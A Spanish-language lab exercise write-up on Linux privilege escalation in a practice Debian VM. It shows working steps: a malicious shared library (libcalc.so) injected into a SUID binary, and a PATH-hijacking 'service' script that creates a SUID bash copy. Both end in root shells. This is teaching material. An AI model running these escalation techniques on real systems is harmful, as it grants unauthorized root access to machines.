



SPRING 15

EJERCICIO 2 – UNIDAD 2

ELEVACION DE PRIVILEGIOS EN LINUX II

SUID

SHARED OBJECT INJECTION Y VARIABLES DE AMBIENTE

En este ejercicio se trabajará la escalada de privilegios de las siguientes formas, debiendo explicar con capturas y texto el procedimiento seguido para cada una de ellas:

- En ambos ejercicios nos conectamos a la Maquina Debian 6 con IP 10.0.2.28, la cual, ya ha sido comprometida anteriormente y ahora vamos a escalar privilegios a través de SSH en el sistema:

```
kali@kali ~ [Local IP: 10.0.2.12] TARGET_IP: % ssh -o HostKeyAlgorithms=+ssh-rsa user@10.0.2.28
user@10.0.2.28' password:
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/*copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 30 11:53:06 2024 from 10.0.2.12
user@debian:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
user@debian:~$
```

1. Escala de privilegios mediante SUID (Shared Object Injection):

- Buscamos en el sistema los archivos Bits SUID:

```
user@debian:~$ find / -perm -4000 -exec ls -ltr {} \; 2>/dev/null
-rwsr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh
-rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudo
-rwsr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp
-rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudoedit
-rwsr-xr-x 1 root root 43280 Feb 15 2011 /usr/bin/passwd
-rwsr-xr-x 1 root root 60208 Feb 15 2011 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39856 Feb 15 2011 /usr/bin/chfn
-rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
-rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
-rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2
-rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3
-rwsr-xr-x 1 root root 6776 Dec 19 2010 /usr/lib/eject/dmccrypt-get-device
-rwsr-xr-x 1 root root 212128 Apr 2 2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10592 Feb 15 2016 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 926536 Apr 10 2010 /bin/bash
-rwsr-xr-x 1 root root 36640 Oct 14 2010 /bin/ping6
-rwsr-xr-x 1 root root 34248 Oct 14 2010 /bin/ping
-rwsr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount
-rwsr-xr-x 1 root root 34024 Feb 15 2011 /bin/su
-rwsr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount
-rwsr-xr-x 1 root root 94992 Dec 13 2014 /sbin/mount.nfs
```

- Ahora dentro de estos archivos SUID se procede a buscar alguno que use y cargue bibliotecas compartidas (Shared Objects) de manera insegura, que nos permita cargar una biblioteca compartida maliciosa.

- Para ello usaremos en primer lugar, el comando “*ldd*”, el cual muestra las bibliotecas compartidas que un archivo necesita para ejecutarse:

```
user@debian:~$ ldd /usr/local/bin/suid-so
linux-vdso.so.1 => (0x00007fff7adff000)
libdl.so.2 => /lib/libdl.so.2 (0x00007ffcb284c000)
libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0x00007ffcb2538000)
libm.so.6 => /lib/libm.so.6 (0x00007ffcb22b6000)
libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x00007ffcb20a0000)
libc.so.6 => /lib/libc.so.6 (0x00007ffcb1d34000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffcb2a56000)
```

- Ahora con “*strace*” y haciendo un filtrado, comprobaremos los archivos y bibliotecas compartidas que realmente intenta abrir:

```
user@debian:~$ strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libdl.so.2", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libm.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY) = 3
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)
user@debian:~$
```

- Como podemos ver comparando, que existe una biblioteca irregular que se esta ejecutando desde home/user que no debía tener, además esta intentando abrir el archivo libcal.so con resultado negativo (ENOENT / not such file or directory), asi que aprovecharemos esto para hacer un script malicioso y poder elevar privilegios.
- Se crea y se compila un script malicioso en lenguaje C llamado “*libcalc.so*”, incluyendo el atributo constructor, que hará que el código malicioso se cargue tan pronto como el programa suid-so la cargue en el sistema. Además, Se va a incluir en el Path LD_PRELOAD, siendo una variable de entorno que prioriza sus archivos y bibliotecas sobre otras bibliotecas del sistema.

```
GNU nano 2.2.4 File: libcalc.c
#include <stdio.h>
#include <stdlib.h>

__attribute__((constructor)) void _my_init() {
    setuid(0); // ID de user a root
    system("/bin/bash"); // shell de root
}

user@debian:~$ gcc -fPIC -shared -o /home/user/libcalc.so /home/user/libcalc.c
```


- Comprobamos que ya no dice el mensaje que no encuentra el archivo, por lo que nuestra biblioteca maliciosa está ejecutándose:

```
user@debian:~$ strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libdl.so.2", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libm.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY) = 3
open("/home/user/.config/libcalc.so", O_RDONLY) = 3
```

- Ejecutamos el archivo suid-so para comprobar que hemos conseguido elevar privilegios a root, siendo positivo:

```
user@debian:~$ /usr/local/bin/suid-so
Calculating something, please wait...
bash-4.1# whoami
root
bash-4.1# id
uid=0(root) gid=1000(user) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(u
ser)
```

2. Escala de privilegios mediante SUID (Variables de ambiente):

- El primer paso coincide con lo realizado anteriormente buscando los archivos SUID:

```
user@debian:~$ find / -perm -4000 -exec ls -ltr {} \; 2>/dev/null
-rwsr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh
-rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudo
-rwsr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp
-rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudoedit
-rwsr-xr-x 1 root root 43280 Feb 15 2011 /usr/bin/passwd
-rwsr-xr-x 1 root root 60208 Feb 15 2011 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39856 Feb 15 2011 /usr/bin/chfn
-rwsr-xr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
-rwsr-xr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
-rwsr-xr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2
-rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3
-rwsr-xr-x 1 root root 6776 Dec 19 2010 /usr/lib/eject/dmccrypt-get-device
-rwsr-xr-x 1 root root 212128 Apr 2 2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10592 Feb 15 2016 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 926536 Apr 10 2010 /bin/bash
-rwsr-xr-x 1 root root 36640 Oct 14 2010 /bin/ping6
-rwsr-xr-x 1 root root 34248 Oct 14 2010 /bin/ping
-rwsr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount
-rwsr-xr-x 1 root root 34024 Feb 15 2011 /bin/su
-rwsr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount
-rwsr-xr-x 1 root root 94992 Dec 13 2014 /sbin/mount.nfs
```

- Las variables de ambiente son valores o cadenas de texto, que los programas utilizan para configurar su entorno de ejecución, como pueden ser LD_PRELOAD (prioriza el uso de bibliotecas), LD_LIBRARY_PATH (prioriza los directorios donde buscar bibliotecas compartidas antes de usar las rutas predeterminadas del sistema) o el PATH (establece directorios donde se buscan ejecutables), entre otras.
- Para explotar este método nos centraremos en buscar en esos valores o cadenas de texto llamados “strings”, los cuales, contienen rutas, comandos e instrucciones que después pasan a programas en ejecución.

```

user@debian:/tmp$ strings /usr/local/bin/suid-env
/lib64/ld-linux-x86-64.so.2
5q;Xq
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
service apache2 start

```

Si observamos, este binario ejecuta un comando externo que inicia apache2, por lo que, si creamos un servicio malicioso que se ejecute en vez del servicio de apache, cambiándole el PATH, podríamos conseguir elevar privilegios:

- Se crea un archivo malicioso en la ruta “/tmp/Service” y con chmod se le da permisos de ejecución:

```

GNU nano 2.2.4      File: service
^[[B!/bin/bash
cp /bin/bash /tmp/bash_priv && chmod +s /tmp/bash_priv && /tmp/bash_priv -p
user@debian:/tmp$ ls -ltr
total 136
-rw-r--r-- 1 root root   28 Oct 1 19:11 useless
-rw-r--r-- 1 root root 126970 Oct 1 19:11 backup.tar.gz
-rwxr-xr-x 1 user user   88 Oct 1 19:11 service

```

EL archivo malicioso realiza una copia del Bash, le da permisos Bit SUID, por lo que hereda los permisos del propietario del archivo y ejecuta una shell.

- Cambiamos temporalmente el PATH, para que el sistema busque en primer lugar nuestro archivo en *“/tmp”* y ejecutamos el binario que estamos explotando, consiguiendo elevación de privilegios a root:

```
user@debian:/tmp$ export PATH=/tmp:$PATH
user@debian:/tmp$ /usr/local/bin/suid-env
root@debian:/tmp# whoami
root
root@debian:/tmp# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
```